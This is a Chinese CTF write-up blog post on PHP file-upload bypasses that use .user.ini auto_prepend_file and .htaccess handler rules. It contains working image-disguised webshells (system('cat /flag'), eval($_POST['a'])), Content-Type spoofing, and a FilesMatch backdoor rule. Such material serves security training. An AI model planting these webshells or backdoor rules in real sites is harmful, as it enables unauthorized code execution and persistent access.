文件上传漏洞(.user.ini和.htaccess)

文件上传漏洞(.user.ini和.htaccess )

一 、user.ini

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini来设置的。

​ 和php.ini不同的是,.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

我们可以很容易地借助.user.ini文件来构造一个“后门”。auto_append_file、auto_prepend_file

auto_prepend_file=01.gif

01.gif是要包含的文件。

所以,我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

例题:[SUCTF 2019]CheckIn

1.测试发现:

服务器为nginx

文件内容不能包含<?

php的exif_imagetype()函数,添加图片文件头GIF89a就可以了

2.看过.user.ini的分析后我们的思路应该比较清晰了,我们可以上传一个这样的.user.ini

GIF89a
auto_prepend_file=a.jpg

image-20201223092557699

3.此时我们注意到上传目录下还有一个index.php,我们正好需要该目录下有一个可执行php文件,那这简直暴露了考点就是.user.ini,看来这个思路应该是可行的

然后再上传一个这样的图片马a.jpg:

GIF89a
<script language='php'>system('cat /flag');</script>

image-20201223092707822最后,我们访问http://9f26d33b-a50f-44fd-8485-c2721470c2a1.node3.buuoj.cn/uploads/e2e7ec165ba05a5e1f3198caa7e22b54/index.php

image-20201223092758787即可得到flag

二 、.htaccess

1.一般.htaccess可以用来留后门和针对黑名单绕过

创建一个txt写入

AddType  application/x-httpd-php

让所有文件解析为php

2.留后门 可以在.htaccess 加入php解析规则

类似于把文件名包含1的解析成php

<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>

12345.png 就会以php执行

例题:[GXYCTF2019]BabyUpload

1.文件类型绕过:

Content-Type: image/jpeg

2.首先上传一个.htaccess内容如下的文件

SetHandler application/x-httpd-php

image-20201222231123433

3.文件名后缀不能是 ph 开头,文件内容过滤<?
上传这样的图片马:

GIF89a?
<script language="php">eval($_POST['a']);</script>

image-20201222231324452

4.上蚁剑

img

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值